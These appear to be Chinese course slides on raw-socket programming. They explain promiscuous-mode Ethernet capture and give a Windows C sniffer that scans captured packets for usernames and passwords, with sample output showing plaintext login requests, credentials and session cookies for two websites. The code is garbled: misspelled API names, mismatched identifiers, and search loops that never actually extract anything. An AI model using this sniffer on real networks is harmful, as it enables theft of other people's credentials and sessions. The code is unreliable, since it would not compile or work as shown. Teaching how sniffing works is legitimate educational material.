

第13章 TCP/IP网络编程实践

— 原始套接字编程

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原始套接字编程

- n Sniffer是网络中一种常见的嗅探技术。对于网络管理员而言，可以利用Sniffer来获取相关的网络流量情况，进而发现一些潜在的网络性能或者安全问题；而对于黑客而言，Sniffer则能够帮助他得到一些重要的数据，诸如用户名和密码或者其他的商业机密
- n Sniffer工作在用户看不见也注意不到的网络底层，隐蔽性极强

- n 以太网是一种基于广播信道的通信网络，数据的发送是以广播方式来进行的
- n 在正常情况下，网卡只接受两种数据帧：
 - 1) 和自己的MAC地址相匹配的数据帧
 - 2) 网络中的广播数据帧
- n 只要网卡发现自己收到的数据帧和自己的MAC地址并不匹配，网卡就简单的将其抛弃，不做任何处理

- n 以太网卡还有一种特殊的接收模式：**混杂模式**
- n 在混杂模式下，网卡能够接收一切通过它的数据，而不管该数据是否是传给它的
- n 实现Sniffer的两个条件：
 - 1) 需要一个共享式以太网环境
 - 2) 需要将网卡的接收模式设置为混杂模式
- n 满足这两个条件后，就可以在网络中不动声色的来嗅探想要的數據了

- n 需要将网卡设置为混杂模式。在Windows环境下面我们要用到一个函数：WSAIoctl

```
int WSAIoctl (  
    SOCKET s,  
    DWORD dwIoControlCode,  
    LPVOID lpvInBuffer,  
    DWORD cbInBuffer,  
    LPVOID lpvOUTBuffer,  
    DWORD cbOUTBuffer,  
    LPDWORD lpcbBytesReturned,  
    LPWSAOVERLAPPED lpOverlapped,  
    LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine  
);
```

I/O控制命令
此处设为：
_WSAIOW(IOC_VENDOR, 1)

示例

// I/O控制命令

#define SIO_RCVALL _WSAIOW(IOC_VENDOR, 1)

SOCKET SockRaw; // 套接口

DWORD dwBufferLen[10];

DWORD dwBufferInLen = 1;

DWORD dwBytesReturned = 0;

//...

//建立一个原始套接字

SockRaw = socket(AF_INET, SOCK_RAW, IPPROTO_IP);

//将网卡的接收模式设置成混杂模式

**WSAIoctl (SockRaw, SIO_RCVALL,
&dwBufferInLen, sizeof(dwBufferInLen),
&dwBufferLen, sizeof(dwBufferLen), &dwBytesReturned,
NULL, NULL) ;**

原始套接字编程示例

---- 捕获用户名和密码

```
/* ----- 原始套接字编程示例 -----  
---- 捕获经过本网卡的所有IP数据包  
---- 并分析数据包，探测用户名和密码信息 -----*/  
  
#include <winsock2.h>  
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#pragma comment(lib, "ws2_32.lib") //添加连接库  
  
#define MAX_PACKET_LEN 4096 // 接收的最大IP报文  
#define MAX_ADDR_LEN 16 // 点分十进制地址的最大长度  
#define MAX_HOSTNAME_LEN 255 // 最大主机名长度  
#define SIO_RCVALL _WSAIOW(IOC_VENDOR, 1) // I/O控制命令
```

```

typedef struct _iphdr // IP首部
{
    unsigned char h_lenver; // 4位IP版本号+4位首部长度
    unsigned char tos;      // 8位服务类型TOS
    unsigned short total_len; // 16位总长度（字节）
    unsigned short ident;    // 16位标识
    unsigned short frag_and_flags; // 3位标志位和片偏移
    unsigned char ttl;      // 8位生存时间 TTL
    unsigned char proto;    // 8位协议（TCP, UDP 或其他）
    unsigned short checksum; // 16位IP首部校验和
    unsigned int sourceIP;  // 32位源IP地址
    unsigned int destIP;    // 32位目的IP地址
}IP_HEADER;

SOCKET SockRaw;
int DecodeIpPack(char *,int); // IP解包函数
void CheckSockError(int,char*); // SOCK错误处理函数

```



```

void main(int argc, char ** argv)
{
    int iErrorCode;
    char RecvBuf[MAX_PACK_LEN] = {0};
    WSADATA wsaData;
    char name[MAX_HOSTNAME_LEN];
    struct hostent * pHostent;
    SOCKADDR_IN sa;
    DWORD dwBufferLen [10];
    DWORD dwBufferInLen = 1;
    DWORD dwBytesReturned = 0;

    printf("---- Now sniffing pass,CTRL+C to exit...\n\n");
    //初始化SOCKET,建立一个原始套接字
    iErrorCode = WSStartup(0x0202,&wsaData);
    CheckSockError(iErrorCode, "WSAStartup");
    SockRaw = socket(AF_INET , SOCK_RAW , IPPROTO_IP);
    CheckSockError(SockRaw, "socket");

```

//获取本机IP地址

```
iErrorCode = gethostname(name, MAX_HOSTNAME_LEN);
```

```
CheckSockError(iErrorCode, "gethostname");
```

```
pHostent = (struct hostent * )malloc(sizeof(struct hostent));
```

```
pHostent = gethostbyname(name);
```

```
sa.sin_family = AF_INET;
```

```
sa.sin_port = htons(8080);
```

```
memcpy(&sa.sin_addr.S_un.S_addr, pHostent->h_addr_list[0], pHostent->h_length);
```

//绑定套接字

```
iErrorCode = bind(SockRaw, (PSOCKADDR)&sa, sizeof(sa));
```

```
CheckSockError(iErrorCode, "bind");
```

//将网卡的接收模式设置为混杂模式(设置SOCK_RAW为SIO_RCVALL),以便接收所有的IP包

```
iErrorCode = WSAIoctl(SockRaw, SIO_RCVALL, &dwBufferInLen, sizeof(dwBufferInLen),  
                      &dwBufferLen, sizeof(dwBufferLen), &dwBytesReturned , NULL , NULL );
```

```
CheckSockError(iErrorCode, "Ioctl");
```

```

//侦听IP报文
while(1)
{
    memset(RecvBuf, 0, sizeof(RecvBuf));
    iErrorCode = recv(SockRaw, RecvBuf, sizeof(RecvBuf), 0);
    CheckSockError(iErrorCode, "recv");
    iErrorCode = DecodeIpPack(RecvBuf, iErrorCode); //对收到的IP包进行解包
    CheckSockError(iErrorCode, "Decode");
}
}
//IP解包程序
int DecodeIpPack(char *buf, int iBufSize)
{
    IP_HEADER *pIpheader;
    int iIphLen, iTTL;
    char szSourceIP[MAX_ADDR_LEN], szDestIP[MAX_ADDR_LEN];
    SOCKADDR_IN saSource, saDest;

    char *SearchPass, *start, *end;

```

```
pipheader = (IP_HEADER *)buf;  
//获取源IP地址  
saSource.sin_addr.s_addr = pipheader->sourceIP;  
//得到点分十进制字符串形式的IP地址  
strncpy(szSourceIP, inet_ntoa(saSource.sin_addr), MAX_ADDR_LEN);  
//获取目标IP地址  
saDest.sin_addr.s_addr = pipheader->destIP;  
//得到点分十进制字符串形式的IP地址  
strncpy(szDestIP, inet_ntoa(saDest.sin_addr), MAX_ADDR_LEN);  
iTTL = pipheader->tTl;  
//计算IP包头长度  
iIpHLen = sizeof(unsigned long) * (pipheader->h_lenver & 0xF);  
SearchPass = buf + iIpHLen + 20 ;
```

指向TCP包的数据部分

思考：如何获得TCP包的头部长度？
注：TCP包的头部长度不是固定的20字节

//----- 如果抓到用户名和密码就输出 -----

start=strstr(SearchPass,"user"); // 查找用户名

```
if(start != NULL)
{
    start = strstr(start, "user");
    if(start != NULL)
    {
        start = strstr(start, "pass");
        if(start != NULL)
        {
            start = strstr(start, "pass");
        }
    }
}
```

end=strstr(SearchPass,"pass"); // 查找密码

```
if(end != NULL)
{
    end = strstr(end, "pass");
    if(end != NULL)
    {
        end = strstr(end, "pass");
    }
}
if(end != NULL)
{
    end = strstr(end, "pass");
}
```


//SOCK错误处理程序

```
void CheckSockError(int iErrorCode, char *pErrorMsg)
{
    if(iErrorCode==SOCKET_ERROR)
    {
        printf("%s Error:%d\n", pErrorMsg, GetLastError());
        closesocket(SockRaw);
        exit(0);
    }
}
```

运行截图



C:\Program Files\Microsoft Visual Studio\MyProjects\sniffer2\Debug\s...

```
                                <label for="ssl_vip" class="ssl-  
label">增强安全性</label>  
                                </li>  
                                </ul>  
                                <input class="vipdl_1" type="submit" name="btnvi  
login" value="&nbsp;"  
                                onmouseover="this.classN
```

```
----- Print begin : -----  
192.168.132.128->58.63.234.251 bytes=893 TTL=128  
POST /cgi-bin/login.cgi HTTP/1.1  
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shock  
wave-flash, */*  
Referer: http://mail.sina.com.cn  
Accept-Language: zh-cn  
Content-Type: application/x-www-form-urlencoded  
Accept-Encoding: gzip, deflate  
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)  
Host: mail.sina.com.cn  
Content-Length: 72  
Connection: Keep-Alive  
Cache-Control: no-cache  
Cookie: UOR=,mail,; _s_upa=1; Apache=112.66.112.119.911731282493285992; SINAGLOB  
AL=112.66.112.119.911731282493285992; ULU=1282493286140:1:1:1:112.66.112.119.911  
731282493285992;; SINAMAIL-WEBFACE-SESSID=323e60a855ec3ebb8a1367597cbd102d; sina  
_free_mail_lver=riaagentv0; sina_free_mail_kodo=on; sina_free_mail_recid=false;  
sina_vip_mail_recid=false  
  
logintype=uid&u=abcd&domain=sina.com&psw=1234&btnloginfree=%B5%C7+%C2%BC
```



C:\Program Files\Microsoft Visual Studio\MyProjects\sniffer2\Debug

```
----- Print begin : -----  
192.168.132.128->124.225.65.202 bytes=857 TTL=128  
POST /login?from=index HTTP/1.1  
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, applicati  
wave-flash, */*  
Referer: http://www.tianya.cn/  
Accept-Language: zh-cn  
Content-Type: application/x-www-form-urlencoded  
Accept-Encoding: gzip, deflate  
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)  
Host: passport.tianya.cn  
Content-Length: 52  
Connection: Keep-Alive  
Cache-Control: no-cache  
Cookie: __utma=82276233.172041452.1282493609.1282493609.1282493609.1;  
76233; __utmc=82276233; __utmz=82276233.1282493609.1.1.utmccn=(organic  
oogle!utmctr=%E5%A4%A9%E6%B6%AF%E7%A4%BE%E5%8C%BA!utmcmd=organic; __gu  
336; __ptime=1282493609484; __cid=64; __guid2=1737745171; JSESSIONID=a  
XAejT3KAQs  
  
vwriter=aabbcc&vpassword=12345&returnURL=&fowardURL=
```

```
----- Print begin : -----  
192.168.132.128->124.225.65.202 bytes=651 TTL=128  
GET /css/passport_css.css HTTP/1.1  
Accept: */*  
Referer: http://passport.tianya.cn/login?from=index  
Accept-Language: zh-cn
```

谢谢！